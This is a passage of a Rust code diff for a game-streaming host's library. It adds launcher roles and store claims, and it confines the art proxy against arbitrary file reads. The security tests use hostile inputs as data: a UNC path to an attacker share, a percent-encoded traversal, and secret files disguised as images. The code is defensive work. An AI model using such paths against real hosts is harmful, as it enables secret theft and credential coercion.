a/crates/punktfunk-host/src/library.rs +++ b/crates/punktfunk-host/src/library.rs @@ -15,7 +15,7 @@ pub(crate) use anyhow::{Context, Result}; pub(crate) use serde::{Deserialize, Serialize}; pub(crate) use sha2::{Digest, Sha256}; -pub(crate) use std::collections::HashSet; +pub(crate) use std::collections::{BTreeMap, HashSet}; pub(crate) use std::path::{Path, PathBuf}; pub(crate) use std::time::{SystemTime, UNIX_EPOCH}; pub(crate) use utoipa::ToSchema; @@ -136,6 +136,29 @@ impl GameMeta { } } +/// What a library entry *is* — an ordinary title, or the launcher application itself (Steam Big +/// Picture, Heroic, Playnite fullscreen). Purely a presentation hint: a launcher entry launches, +/// leases and lists exactly like a game (design D4), and clients that don't know the field render it +/// as a plain tile. Serde-default `game` and skip-serialized when default, so the wire is unchanged +/// for every entry that doesn't opt in. +#[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Serialize, Deserialize, ToSchema)] +#[serde(rename_all = "lowercase")] +pub enum GameRole { + /// An ordinary title. + #[default] + Game, + /// The launcher application itself. + Launcher, +} + +impl GameRole { + /// Whether this is the serde default (`game`) — the `skip_serializing_if` predicate that keeps + /// the field off the wire for the overwhelming majority of entries. + pub(crate) fn is_game(&self) -> bool { + matches!(self, Self::Game) + } +} + /// One title in the unified library, regardless of which store it came from. #[derive(Clone, Debug, Serialize, ToSchema)] pub struct GameEntry { @@ -147,6 +170,9 @@ pub struct GameEntry { pub store: String, pub title: String, pub art: Artwork, + /// Whether this entry is a game or the launcher itself — see [`GameRole`]. + #[serde(default, skip_serializing_if = "GameRole::is_game")] + pub role: GameRole, /// How the host would launch it, when known. #[serde(skip_serializing_if = "Option::is_none")] pub launch: Option, @@ -228,12 +254,26 @@ impl ArtKind { } } -/// The full library: every *enabled* store's titles merged + the custom entries, sorted by title. -/// The operator's scanner toggles (`scanners.rs`) gate each installed-store provider; the custom -/// store is not a scanner and always contributes. +/// The full library: every *enabled* source's titles merged + the custom entries, sorted by title. +/// +/// Two independent gates run here, both at READ time so neither ever mutates stored state: +/// +/// * **The operator's source toggles** (`scanners.rs`, persisted as a disabled-set in +/// `library-scanners.json`) hide a source's titles from every surface — this grid, native clients, +/// `/applist`, and launch resolution. They apply to built-in scanners *and* to plugin sources, +/// which is what lets one toggle keep working verbatim across the whole migration: the ids match +/// (provider id = claimed store id = old scanner id). +/// * **Store claims** (D2): while a library plugin holds a store's claim, the matching built-in +/// scanner is skipped so the two never double-list the same titles during the bridge releases. +/// Removing the plugin releases the claim and the built-in comes straight back. +/// +/// The user-curated custom store is not a source and always contributes. pub fn all_games() -> Vec { let off = disabled_scanners(); - let on = |id: &str| !off.contains(id); + let claimed = claimed_stores(); + // A built-in scanner runs when the operator hasn't disabled it AND no plugin has claimed its + // store out from under it. + let on = |id: &str| !off.contains(id) && !claimed.contains_key(id); let mut games = Vec::new(); if on("steam") { games.extend(SteamProvider.list()); @@ -262,7 +302,15 @@ pub fn all_games() -> Vec { games.extend(XboxProvider.list()); } } - games.extend(load_custom().into_iter().map(GameEntry::from)); + // Stored entries: manual ones always contribute; a provider's are subject to the same source + // toggle a built-in scanner is (WP2.6). The plugin may keep reconciling while it is off — the + // entries stay stored and simply aren't surfaced, exactly like a disabled scanner's titles. + games.extend( + load_custom() + .into_iter() + .filter(|e| !source_id_for(e).is_some_and(|src| off.contains(src))) + .map(GameEntry::from), + ); games.sort_by_key(|g| g.title.to_lowercase()); games } diff --git a/crates/punktfunk-host/src/library/art.rs b/crates/punktfunk-host/src/library/art.rs index 9536c1fa..f5324497 100644 --- a/crates/punktfunk-host/src/library/art.rs +++ b/crates/punktfunk-host/src/library/art.rs @@ -147,45 +147,275 @@ pub(crate) fn fetch_image(url: &str) -> Option<(Vec, String)> { /// A stored [`Artwork`] value that is a **local filesystem path** to an image on the host — as /// opposed to an `http(s)`/`data:` URL or an already-relative host proxy path. Provider plugins that -/// run on the host (e.g. the Playnite sync plugin) set these: the reconcile payload stays tiny -/// (paths, not inlined bytes, so it scales to thousands of titles) and the host serves the bytes -/// through the art proxy, exactly like Steam's cache art. Windows-shaped only (`C:\…`, `C:/…`, or a -/// `\\server\share` UNC) — Playnite, the only local-art provider, is Windows-only, and this keeps the -/// check from ever mistaking the `/api/…` proxy path (or a POSIX abs path) for a local file. +/// run on the host (the Playnite sync plugin, and every library scanner plugin) set these: the +/// reconcile payload stays tiny (paths, not inlined bytes, so it scales to thousands of titles) and +/// the host serves the bytes through the art proxy, exactly like Steam's cache art. +/// +/// Four accepted shapes: +/// * `file://…` — the **documented plugin contract** ([`file_url_to_path`]), unambiguous on every +/// platform, and what `@punktfunk/plugin-kit/library` emits. +/// * `C:\…` / `C:/…` drive-absolute and `\\server\share` UNC — Windows bare paths, kept for +/// Playnite back-compat (it predates the `file://` contract). +/// * POSIX absolute (`/home/u/covers/x.jpg`) — Lutris covers and Steam's `librarycache`. +/// +/// The POSIX widening is why the two `/`-leading shapes the **host itself emits** must be excluded +/// explicitly: its own art-proxy path (`/api/v1/library/art/…`, which [`proxy_local_art`] writes and +/// which must survive a second pass unchanged) and a protocol-relative URL (`//cdn/…`, what GOG's and +/// Microsoft's catalogs return — see [`abs_url`]). Mistaking either for a file would break the proxy +/// round-trip or silently drop CDN art. pub fn is_local_art_path(v: &str) -> bool { if v.starts_with("http://") || v.starts_with("https://") || v.starts_with("data:") { return false; } + if v.starts_with("file://") { + return true; + } let b = v.as_bytes(); - (b.len() >= 3 && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/')) || v.starts_with("\\\\") + // Windows drive-absolute (`C:\…`, `C:/…`) or UNC (`\\server\share`). + if (b.len() >= 3 && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/')) || v.starts_with("\\\\") { + return true; + } + // POSIX absolute, minus the host's own `/`-leading shapes (see the doc comment). + v.starts_with('/') && !v.starts_with("//") && !v.starts_with("/api/") +} + +/// Turn a `file://` art value into a plain filesystem path, percent-decoding it. The kit emits +/// properly encoded URLs (`file:///home/u/My%20Cover.jpg`); a raw path that happens to contain no +/// `%` round-trips either way, which keeps hand-written plugin payloads working. +/// +/// `file:///home/u/c.jpg` → `/home/u/c.jpg`; `file:///C:/covers/c.jpg` → `C:/covers/c.jpg` (Windows +/// drive letters arrive after the empty authority's slash); a NON-empty authority +/// (`file://nas/share/c.jpg`) is a UNC reference → `\\nas\share\c.jpg`. Anything without the prefix +/// is returned untouched. +fn file_url_to_path(v: &str) -> std::borrow::Cow<'_, str> { + use std::borrow::Cow; + let Some(rest) = v.strip_prefix("file://") else { + return Cow::Borrowed(v); + }; + let decoded = percent_decode(rest); + match decoded.strip_prefix('/') { + // `file:///…` — the empty-authority form. A Windows drive letter (`/C:/…`) loses the slash; + // a POSIX path keeps it. + Some(after) if after.as_bytes().get(1) == Some(&b':') => Cow::Owned(after.to_string()), + Some(_) => Cow::Owned(decoded), + // `file://server/share/…` — a UNC path in URL clothing. + None => Cow::Owned(format!("\\\\{}", decoded.replace('/', "\\"))), + } +} + +/// Percent-decode `%XX` escapes. Invalid escapes are left verbatim (a bare `%` in a real path is far +/// likelier than a malformed URL from our own kit), and the result is only ever used as a path that +/// must then exist as a regular file — so a wrong decode degrades to "no art", never to a wrong read. +fn percent_decode(s: &str) -> String { + let b = s.as_bytes(); + let mut out = Vec::with_capacity(b.len()); + let mut i = 0; + while i < b.len() { + if b[i] == b'%' && i + 2 < b.len() { + let hex = |c: u8| (c as char).to_digit(16); + if let (Some(hi), Some(lo)) = (hex(b[i + 1]), hex(b[i + 2])) { + out.push((hi * 16 + lo) as u8); + i += 3; + continue; + } + } + out.push(b[i]); + i += 1; + } + String::from_utf8(out).unwrap_or_else(|_| s.to_string()) +} + +/// The filesystem roots the art proxy is allowed to read from. +/// +/// The proxy runs in the **host process** — LocalSystem on Windows — and both the path and the +/// read-back are reachable from the plugin lane, which runs as the much weaker LocalService. Without +/// a root, "serve this entry's cover" is "read any file on the box as SYSTEM" (2026-08-05 review +/// H-2): `mgmt-token`, `key.pem`, the SAM hive. So the value is confined here, at the one place +/// bytes are read, rather than trusted because of where it was written. +/// +/// Default: the users base (`C:\Users`), which is where every launcher keeps its art cache — +/// Playnite, the only local-art provider, stores covers under `%APPDATA%\Playnite`. Derived from +/// `%PUBLIC%`'s parent because the host runs as SYSTEM, whose own `%USERPROFILE%` is +/// `…\config\systemprofile` and tells us nothing about where the operator's launchers live. +/// `PUNKTFUNK_LIBRARY_ART_ROOTS` (`;`-separated) replaces the default for an operator whose library +/// is on another drive. +fn art_roots() -> Vec { + if let Some(configured) = std::env::var_os("PUNKTFUNK_LIBRARY_ART_ROOTS") { + return std::env::split_paths(&configured) + .filter(|p| !p.as_os_str().is_empty()) + .collect(); + } + let mut roots = Vec::new(); + // `%PUBLIC%` is `C:\Users\Public` on every supported Windows; its parent is the users base. + if let Some(public) = std::env::var_os("PUBLIC") { + if let Some(base) = PathBuf::from(public).parent() { + roots.push(base.to_path_buf()); + } + } + if roots.is_empty() { + if let Some(drive) = std::env::var_os("SystemDrive") { + roots.push(PathBuf::from(drive).join("Users")); + } + } + // POSIX: the user's home, which is the exact analogue of the Windows users base above — and + // where every launcher this host reads art from actually keeps it. Steam's + // `appcache/librarycache` and `userdata//config/grid`, Lutris's `coverart`/`banners` (both + // the `~/.local/share` and `~/.cache` copies), Heroic's caches, and all three Flatpak + // `~/.var/app/…` variants are under it. + // + // Needed because `is_local_art_path` now classifies POSIX absolute paths as local art (the + // extracted Lutris/Steam plugins emit them). Before that widening this list was legitimately + // empty here: the only local-art provider was Playnite, which is Windows-only, so nothing on a + // POSIX host was ever classified local and the confinement had nothing to confine. Leaving it + // empty now would not be "secure by default" — it would silently serve no plugin art at all. + // + // Breadth matches what Windows already ships, and it is not the load-bearing control: a value + // still has to carry an image extension, canonicalize to a real regular file inside a root, + // sit outside the host config dir, and CONTAIN image bytes. `PUNKTFUNK_LIBRARY_ART_ROOTS` + // narrows or relocates this for a library that lives elsewhere. + #[cfg(not(windows))] + if let Some(home) = std::env::var_os("HOME") { + let home = PathBuf::from(home); + if !home.as_os_str().is_empty() { + roots.push(home); + } + } + roots +} + +/// Whether `path` resolves inside one of [`art_roots`] and outside the host config dir. +/// +/// Canonicalizes first, so a junction/symlink pointing out of the root is resolved before the +/// containment test rather than after it. The config-dir exclusion is unconditional — it holds even +/// if an operator's `PUNKTFUNK_LIBRARY_ART_ROOTS` were to contain it — because that directory is +/// where every host secret lives. +fn art_path_is_confined(path: &Path) -> bool { + // A UNC value (`\\attacker\share\a.png`) is refused outright: reading it would coerce the host's + // machine account into outbound SMB authentication to a peer of the caller's choosing. + if path.to_string_lossy().starts_with(r"\\") { + return false; + } + let Ok(real) = path.canonicalize() else { + return false; + }; + if let Ok(config) = pf_paths::config_dir().canonicalize() { + if real.starts_with(&config) { + return false; + } + } + art_roots() + .iter() + .filter_map(|r| r.canonicalize().ok()) + .any(|root| real.starts_with(&root)) +} + +/// Sniff an image container from its leading bytes → the content type to serve. `None` for anything +/// that is not a recognized image. +/// +/// The proxy serves what the bytes ARE, not what the extension claims, and refuses to serve at all +/// when they are not an image — which is what keeps an extensionless secret like `mgmt-token` (or a +/// `key.pem` renamed `cover.png`) from being returned as `application/octet-stream`. +fn sniff_image_type(bytes: &[u8]) -> Option<&'static str> { + let starts = |sig: &[u8]| bytes.starts_with(sig); + if starts(&[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A]) { + return Some("image/png"); + } + if starts(&[0xFF, 0xD8, 0xFF]) { + return Some("image/jpeg"); + } + if starts(b"GIF87a") || starts(b"GIF89a") { + return Some("image/gif"); + } + if starts(b"RIFF") && bytes.len() >= 12 && &bytes[8..12] == b"WEBP" { + return Some("image/webp"); + } + if starts(b"BM") { + return Some("image/bmp"); + } + if starts(&[0x00, 0x00, 0x01, 0x00]) { + return Some("image/x-icon"); + } + // TGA has no magic number. Validate the fixed header fields instead (colour-map type is 0/1, + // image type is one of the six defined codes) — enough that no plausible secret passes. + if bytes.len() >= 18 + && matches!(bytes[1], 0 | 1) + && matches!(bytes[2], 0 | 1 | 2 | 3 | 9 | 10 | 11) + { + return Some("image/x-tga"); + } + None +} + +/// Whether a local art path is servable at all: known image extension, inside an allowed root. The +/// write-time half of the art confinement — [`validate_art_paths`] refuses to persist a value this +/// rejects, so an out-of-root path never reaches the catalog in the first place, and +/// [`local_art_bytes`] re-checks at read time so an entry written before this existed is still safe. +pub fn art_path_is_servable(value: &str) -> bool { + let p = Path::new(value); + let ext_ok = p + .extension() + .and_then(|e| e.to_str()) + .map(|e| e.to_ascii_lowercase()) + .is_some_and(|e| { + matches!( + e.as_str(), + "jpg" | "jpeg" | "png" | "webp" | "gif" | "bmp" | "ico" | "tga" + ) + }); + ext_ok && art_path_is_confined(p) +} + +/// Reject any **local-file** art value that the proxy would refuse to serve, so an unservable path +/// (out of root, not an image, a UNC share) can never be persisted. URLs and already-proxied paths +/// are not this function's business and pass through. `Err` carries the offending field name. +pub fn validate_art_paths(art: &Artwork) -> Result<(), String> { + for (field, value) in [ + ("portrait", &art.portrait), + ("hero", &art.hero), + ("logo", &art.logo), + ("header", &art.header), + ] { + let Some(v) = value.as_deref() else { continue }; + if is_local_art_path(v) && !art_path_is_servable(v) { + return Err(format!( + "art.{field}: local art must be an image file (jpg/png/webp/gif/bmp/ico/tga) inside \ + an allowed art root — set PUNKTFUNK_LIBRARY_ART_ROOTS if the library lives \ + elsewhere, or send an http(s) URL instead" + )); + } + } + Ok(()) } /// Read a local image file into `(bytes, content-type)` for the art proxy. `None` if it isn't an -/// existing regular file, is empty, or exceeds 16 MiB (a cover never approaches that; the cap bounds -/// host memory). Content-type is guessed from the extension. +/// existing regular file, is empty, exceeds 16 MiB (a cover never approaches that; the cap bounds +/// host memory), resolves outside the allowed art roots ([`art_path_is_confined`]), or does not +/// actually contain an image ([`sniff_image_type`]). +/// +/// This is the single place local art bytes are read — the mgmt art proxy and the GameStream +/// `/appasset` proxy both land here — so the confinement holds for every caller. +/// +/// A `file://` value is converted to a path FIRST ([`file_url_to_path`]), so the confinement check +/// and the read see the same decoded path. Ordering matters: percent-decoding before +/// canonicalization is what stops a `%2e%2e` escape being invisible to the traversal check. pub fn local_art_bytes(path: &str) -> Option<(Vec, String)> { - let p = std::path::Path::new(path); + let path = file_url_to_path(path); + if !art_path_is_servable(&path) { + tracing::debug!( + path = %path, + "art proxy: refusing a path outside the allowed art roots" + ); + return None; + } + let p = std::path::Path::new(&*path); let meta = std::fs::metadata(p).ok()?; if !meta.is_file() || meta.len() == 0 || meta.len() > 16 * 1024 * 1024 { return None; } - let ctype = match p - .extension() - .and_then(|e| e.to_str()) - .map(|e| e.to_ascii_lowercase()) - .as_deref() - { - Some("jpg" | "jpeg") => "image/jpeg", - Some("png") => "image/png", - Some("webp") => "image/webp", - Some("gif") => "image/gif", - Some("bmp") => "image/bmp", - Some("ico") => "image/x-icon", - Some("tga") => "image/x-tga", - _ => "application/octet-stream", - } - .to_string(); - Some((std::fs::read(p).ok()?, ctype)) + let bytes = std::fs::read(p).ok()?; + // Serve what the bytes ARE. A file that is not an image is not served at all. + let ctype = sniff_image_type(&bytes)?; + Some((bytes, ctype.to_string())) } /// Resolve one art value to bytes for the Moonlight `/appasset` proxy: a local host file @@ -221,9 +451,22 @@ pub fn proxy_local_art(id: &str, art: &mut Artwork) { /// `(bytes, content-type)`. Resolves the id against the host's OWN library. Blocking — call off the /// async runtime (e.g. `spawn_blocking`). pub fn fetch_box_art(id: &str) -> Option<(Vec, String)> { - // Steam's `Artwork` fields are now relative proxy paths (see `steam_art`) the *client* resolves - // against the host — meaningless to `fetch_image`, which expects an absolute URL. Resolve - // those kinds directly instead of going through the URL fields. + // Same resolution order as the management art proxy (WP1.2): the stored catalog first, for ANY + // id, so a library plugin's entries resolve without the warmer knowing its store. + if let Some(entry) = entry_for_library_id(id) { + return [ + ArtKind::Portrait, + ArtKind::Header, + ArtKind::Hero, + ArtKind::Logo, + ] + .into_iter() + .filter_map(|kind| art_field(&entry.art, kind)) + .find_map(|v| resolve_art_bytes(&v)); + } + // Legacy in-host Steam scanner: its `Artwork` fields are relative proxy paths (see `steam_art`) + // the *client* resolves against the host — meaningless to `fetch_image`, which expects an + // absolute URL. Resolve those kinds directly instead of going through the URL fields. if let Some(appid) = id .strip_prefix("steam:") .and_then(|s| s.parse::().ok()) @@ -237,6 +480,7 @@ pub fn fetch_box_art(id: &str) -> Option<(Vec, String)> { .into_iter() .find_map(|kind| steam_art_bytes(appid, kind)); } + // The remaining in-host scanners (heroic/lutris/epic/gog/xbox) carry absolute CDN URLs. let g = all_games().into_iter().find(|g| g.id == id)?; [g.art.portrait, g.art.header, g.art.hero, g.art.logo] .into_iter() @@ -335,19 +579,60 @@ mod tests { assert!(fetch_image("data:image/png;base64,").is_none()); } + /// The full accept/exclude table (WP1.2). The exclusions are the load-bearing half: two of the + /// three `/`-leading shapes here are emitted by the host ITSELF, so a POSIX rule that swallowed + /// them would break the proxy round-trip and silently drop CDN art. #[test] fn local_art_path_detection() { // Windows-shaped local paths a provider (Playnite) would store. assert!(is_local_art_path(r"C:\Users\me\cover.jpg")); assert!(is_local_art_path("C:/Users/me/cover.png")); assert!(is_local_art_path(r"\\nas\share\art.jpg")); - // URLs and the host proxy path are NOT local files. + // The `file://` plugin contract, on both platform shapes. + assert!(is_local_art_path("file:///home/u/covers/x.jpg")); + assert!(is_local_art_path("file:///C:/covers/x.jpg")); + // POSIX absolute — lutris covers, steam librarycache. + assert!(is_local_art_path("/home/u/.cache/lutris/coverart/x.jpg")); + assert!(is_local_art_path("/var/lib/steam/librarycache/570/h.jpg")); + // URLs are NOT local files. assert!(!is_local_art_path("https://cdn/x.jpg")); assert!(!is_local_art_path("http://host/x.jpg")); assert!(!is_local_art_path("data:image/png;base64,AAAA")); + // …nor is the host's OWN art-proxy path (it must survive a second `proxy_local_art` pass). assert!(!is_local_art_path( "/api/v1/library/art/custom:abc/portrait" )); + assert!(!is_local_art_path("/api/v1/library/art/steam:570/hero")); + // …nor a protocol-relative CDN URL (what GOG / the MS catalog return — see `abs_url`). + assert!(!is_local_art_path("//images.gog.com/abc_vertical.jpg")); + // A relative path is not absolute — nothing to serve. + assert!(!is_local_art_path("covers/x.jpg")); + assert!(!is_local_art_path("")); + } + + #[test] + fn file_url_converts_to_a_path_and_percent_decodes() { + assert_eq!(file_url_to_path("file:///home/u/c.jpg"), "/home/u/c.jpg"); + // Percent-encoded spaces — what a correct URL encoder emits for a real-world cover path. + assert_eq!( + file_url_to_path("file:///home/u/My%20Games/c%2Bx.jpg"), + "/home/u/My Games/c+x.jpg" + ); + // Windows drive letters arrive after the empty authority's slash and lose it. + assert_eq!( + file_url_to_path("file:///C:/covers/c.jpg"), + "C:/covers/c.jpg" + ); + // A non-empty authority is a UNC reference. + assert_eq!( + file_url_to_path("file://nas/share/c.jpg"), + r"\\nas\share\c.jpg" + ); + // Non-`file://` values are returned untouched (bare paths still work). + assert_eq!(file_url_to_path("/home/u/c.jpg"), "/home/u/c.jpg"); + assert_eq!(file_url_to_path(r"C:\c.jpg"), r"C:\c.jpg"); + // A lone `%` (a legal path character) is not mangled into a decode failure. + assert_eq!(file_url_to_path("file:///home/100%.jpg"), "/home/100%.jpg"); } #[test] @@ -371,16 +656,203 @@ mod tests { ); } + /// A POSIX local cover — the shape the lutris and steam plugins emit — is classified as local + /// art and rewritten to the proxy path. This is the case G4 blocked (Lutris art was inlined as + /// `data:` URLs and blew the 2 MB body limit at 49 covers). + /// + /// Deliberately free of filesystem and env: the READ half is confined, and lives in + /// `local_art_bytes_is_confined_and_image_only` so that only ONE test mutates + /// `PUNKTFUNK_LIBRARY_ART_ROOTS` (cargo runs these in parallel threads of one process, so two + /// would race). #[test] - fn local_art_bytes_reads_a_real_file() { + fn posix_local_art_is_classified_and_proxied() { + let path = if cfg!(windows) { + r"C:\covers\cover.jpg".to_string() + } else { + "/home/u/.cache/lutris/coverart/cover.jpg".to_string() + }; + let url = file_url(std::path::Path::new(&path)); + let mut art = Artwork { + portrait: Some(path.clone()), + hero: Some(url), + logo: Some("https://cdn/l.png".into()), + header: None, + }; + assert!(is_local_art_path(&path)); + proxy_local_art("lutris:42", &mut art); + assert_eq!( + art.portrait.as_deref(), + Some("/api/v1/library/art/lutris:42/portrait") + ); + assert_eq!( + art.hero.as_deref(), + Some("/api/v1/library/art/lutris:42/hero"), + "a file:// value is local art too" + ); + assert_eq!(art.logo.as_deref(), Some("https://cdn/l.png")); + + // Re-running the rewrite is a no-op — the emitted proxy path must not be mistaken for a file. + let before = art.portrait.clone(); + proxy_local_art("lutris:42", &mut art); + assert_eq!(art.portrait, before); + } + + const PNG: &[u8] = &[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A, 0, 0, 0, 13]; + + /// The art proxy reads bytes in the HOST process (LocalSystem on Windows) from a path the + /// plugin lane can write — so what it will and will not read IS the security boundary + /// (2026-08-05 review H-2). Confinement, extension, and content are all load-bearing. + #[test] + fn local_art_bytes_is_confined_and_image_only() { let dir = std::env::temp_dir().join(format!("pf-art-test-{}", std::process::id())); + let outside = std::env::temp_dir().join(format!("pf-art-out-{}", std::process::id())); std::fs::create_dir_all(&dir).unwrap(); - let f = dir.join("cover.png"); - std::fs::write(&f, [1u8, 2, 3, 4]).unwrap(); - let (bytes, ctype) = local_art_bytes(f.to_str().unwrap()).expect("reads file"); - assert_eq!(bytes, vec![1, 2, 3, 4]); + std::fs::create_dir_all(&outside).unwrap(); + // Confine the proxy to `dir` for the duration of this test. + std::env::set_var("PUNKTFUNK_LIBRARY_ART_ROOTS", &dir); + + // A real image inside the root: served, with the content type SNIFFED from the bytes. + let cover = dir.join("cover.png"); + std::fs::write(&cover, PNG).unwrap(); + let (bytes, ctype) = local_art_bytes(cover.to_str().unwrap()).expect("reads a real cover"); + assert_eq!(bytes, PNG); assert_eq!(ctype, "image/png"); + + // A secret is not served, however it is dressed up. This is the H-2 primitive: the plugin + // writes the path, the host reads it as SYSTEM, and `mgmt-token` is full admin. + let secret = dir.join("mgmt-token"); + std::fs::write(&secret, b"super-secret-admin-token").unwrap(); + assert!( + local_art_bytes(secret.to_str().unwrap()).is_none(), + "an extensionless secret must not be served as application/octet-stream" + ); + let disguised = dir.join("mgmt-token.png"); + std::fs::write(&disguised, b"super-secret-admin-token").unwrap(); + assert!( + local_art_bytes(disguised.to_str().unwrap()).is_none(), + "an image extension must not be enough — the bytes must BE an image" + ); + + // Outside the configured root: refused even though it is a genuine image. + let elsewhere = outside.join("cover.png"); + std::fs::write(&elsewhere, PNG).unwrap(); + assert!( + local_art_bytes(elsewhere.to_str().unwrap()).is_none(), + "a path outside every art root must be refused" + ); + // …and a path that only *escapes* via traversal is caught, because we canonicalize first. + let traversal = dir + .join("..") + .join(outside.file_name().unwrap()) + .join("cover.png"); + assert!( + local_art_bytes(traversal.to_str().unwrap()).is_none(), + "`..` out of the root must be refused after canonicalization" + ); + assert!(local_art_bytes(dir.join("nope.png").to_str().unwrap()).is_none()); + // A directory is not a servable cover — the proxy must never become a directory reader. + assert!(local_art_bytes(dir.to_str().unwrap()).is_none()); + + // The `file://` plugin contract reaches the SAME bytes through the SAME gate. This is the + // half that matters for the extracted scanners: they emit `file://` values, so if the + // conversion happened after the confinement check the check would be inspecting a string + // that is not the path being read. + let as_url = file_url(&cover); + assert_eq!( + local_art_bytes(&as_url) + .expect("file:// reads the same cover") + .0, + PNG + ); + // …and a `file://` value is confined exactly like a bare one — no bypass by spelling. + assert!( + local_art_bytes(&file_url(&elsewhere)).is_none(), + "file:// must not escape the art roots" + ); + // Percent-encoded traversal is decoded BEFORE canonicalization, so it cannot hide from the + // `..` check. + assert!( + local_art_bytes(&format!( + "{}/%2e%2e/{}/cover.png", + file_url(&dir), + outside.file_name().unwrap().to_str().unwrap() + )) + .is_none(), + "percent-encoded traversal must be refused" + ); + + // A UNC path is refused outright (outbound SMB auth coercion), before any filesystem hit. + assert!(!art_path_is_servable(r"\\attacker\share\a.png")); + + std::env::remove_var("PUNKTFUNK_LIBRARY_ART_ROOTS"); let _ = std::fs::remove_dir_all(&dir); + let _ = std::fs::remove_dir_all(&outside); + } + + /// Build a `file://` value the way the kit's `fileUrl` does, so these tests exercise the real + /// plugin contract on both platforms. A POSIX path keeps the two-slash form + /// (`file:///home/u/c.png` — empty authority, then the leading `/`); a Windows path becomes + /// `file:///C:/covers/c.png`, i.e. three slashes and forward separators. Building it as + /// `format!("file://{path}")` on Windows yields `file://C:\covers\c.png`, whose authority is + /// `C:` — that is a UNC reference, not a local file, and the parser is right to refuse it. + fn file_url(p: &std::path::Path) -> String { + let posix = p.to_str().unwrap().replace('\\', "/"); + if posix.starts_with('/') { + format!("file://{posix}") + } else { + format!("file:///{posix}") + } + } + + /// Write-time validation refuses what read-time would refuse, so an unservable path never even + /// reaches `library.json`. URLs are none of its business. + #[test] + fn validate_art_paths_rejects_unservable_local_paths() { + let ok = Artwork { + portrait: Some("https://cdn/x.jpg".into()), + hero: Some("data:image/png;base64,AAAA".into()), + logo: Some("/api/v1/library/art/custom:x/logo".into()), + header: None, + }; + assert!(validate_art_paths(&ok).is_ok(), "URLs pass through"); + + let unc = Artwork { + portrait: Some(r"\\attacker\share\a.png".into()), + ..Default::default() + }; + assert!( + validate_art_paths(&unc).is_err(), + "UNC is refused at write time" + ); + + let secret = Artwork { + hero: Some(r"C:\ProgramData\punktfunk\mgmt-token".into()), + ..Default::default() + }; + let err = validate_art_paths(&secret).expect_err("a secret path is refused"); + assert!( + err.starts_with("art.hero"), + "the error names the field: {err}" + ); + } + + #[test] + fn sniff_image_type_recognizes_containers_and_rejects_secrets() { + assert_eq!(sniff_image_type(PNG), Some("image/png")); + assert_eq!( + sniff_image_type(&[0xFF, 0xD8, 0xFF, 0xE0]), + Some("image/jpeg") + ); + assert_eq!(sniff_image_type(b"GIF89a...."), Some("image/gif")); + assert_eq!( + sniff_image_type(b"RIFF\0\0\0\0WEBPVP8 "), + Some("image/webp") + ); + assert_eq!(sniff_image_type(b"BM\0\0"), Some("image/bmp")); + // The shapes a stolen secret actually has. + assert_eq!(sniff_image_type(b"-----BEGIN PRIVATE KEY-----"), None); + assert_eq!(sniff_image_type(b"9f8a7b6c5d4e3f2a1b0c"), None); + assert_eq!(sniff_image_type(b""), None); } } diff --git a/crates/punktfunk-host/src/library/custom.rs b/crates/punktfunk-host/src/library/custom.rs index de1bbf6c..911710f9 100644 --- a/crates/punktfunk-host/src/library/custom.rs +++ b/crates/punktfunk-host/src/library/custom.rs @@ -28,6 +28,17 @@ pub struct CustomEntry { /// host-assigned `id` stays stable across reconciles. Present iff `provider` is. #[serde(default, skip_serializing_if = "Option::is_none")] pub external_id: Option, + /// The **store this entry was claimed under** (D2), stamped by a `?store=`-qualified reconcile. + /// `None` = an unclaimed provider entry or a manual one, both of which surface as `custom`. + /// + /// Materialized onto the entry rather than looked up in [`Catalog::claims`] on every read so an + /// entry is self-describing: its id and its `store` badge derive from the entry alone, and stay + /// correct even while the claim map is being rewritten. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub store: Option, + /// Whether this entry is a game or the launcher itself — see [`GameRole`]. + #[serde(default, skip_serializing_if = "GameRole::is_game")] + pub role: GameRole, /// How to recognize this title's process once it is running (design §9) — the one thing a /// provider knows that the host cannot work out for itself. /// @@ -53,6 +64,10 @@ pub struct CustomInput { /// Per-title prep/undo steps — commands run as the host user; operator-privileged config. #[serde(default)] pub prep: Vec, + /// Whether this entry is a game or the launcher itself — see [`GameRole`]. A hand-added launcher + /// entry is legal (an operator may want a "Steam" tile without installing the steam plugin). + #[serde(default)] + pub role: GameRole, /// How to recognize this title's process — see [`CustomEntry::detect`]. #[serde(default)] pub detect: DetectHint, @@ -76,6 +91,10 @@ pub struct ProviderEntryInput { /// Per-title prep/undo steps — commands run as the host user; operator-privileged config. #[serde(default)] pub prep: Vec, + /// Whether this entry is a game or the launcher itself — see [`GameRole`]. A library plugin + /// emits its `launchers(cfg)` entries with `role: "launcher"`. + #[serde(default)] + pub role: GameRole, /// How to recognize this title's process — see [`CustomEntry::detect`]. A provider that knows its /// titles' install directories (Playnite does) should send them: it is what lets a game launched /// through the provider's own client still end its session when the player quits. @@ -101,10 +120,13 @@ impl From for GameEntry { .unwrap_or_default() .or_hint(&c.detect); GameEntry { - id: format!("custom:{}", c.id), - store: "custom".into(), + id: library_id_for(&c), + // A claimed entry wears its store's badge; everything else is `custom`. `provider` rides + // along either way, so attribution ("synced by the steam plugin") survives the claim. + store: c.store.clone().unwrap_or_else(|| "custom".into()), title: c.title, art: c.art, + role: c.role, launch: c.launch, provider: c.provider, detect, @@ -122,42 +144,123 @@ fn custom_path() -> PathBuf { pf_paths::config_dir().join("library.json") } -/// Load the custom entries (empty + non-fatal if the file is absent or malformed). -pub fn load_custom() -> Vec { +/// The persisted catalog (`library.json` **v2**): the entries plus the store-claim map (D2). +#[derive(Debug, Default, Serialize, Deserialize)] +pub struct Catalog { + #[serde(default)] + pub entries: Vec, + /// `store id → provider id`. One provider per store; a second claimant is refused (409). + /// + /// The map — not the entries — is the authority for a claim, which is exactly why it survives an + /// **empty reconcile**: a store the plugin legitimately owns can have zero installed titles, and + /// the built-in scanner it suppresses must stay suppressed anyway. Releasing is explicit + /// (`DELETE /library/provider/{p}`, or the plugin claiming a different store). + #[serde(default)] + pub claims: BTreeMap, +} + +/// What `library.json` may contain on disk. v1 was a bare array of entries; v2 is the [`Catalog`] +/// object. Untagged, so an existing v1 file loads unchanged — and the host always WRITES v2, so the +/// first mutation after an upgrade migrates the file in place with no separate migration step. +#[derive(Deserialize)] +#[serde(untagged)] +enum LibraryFile { + 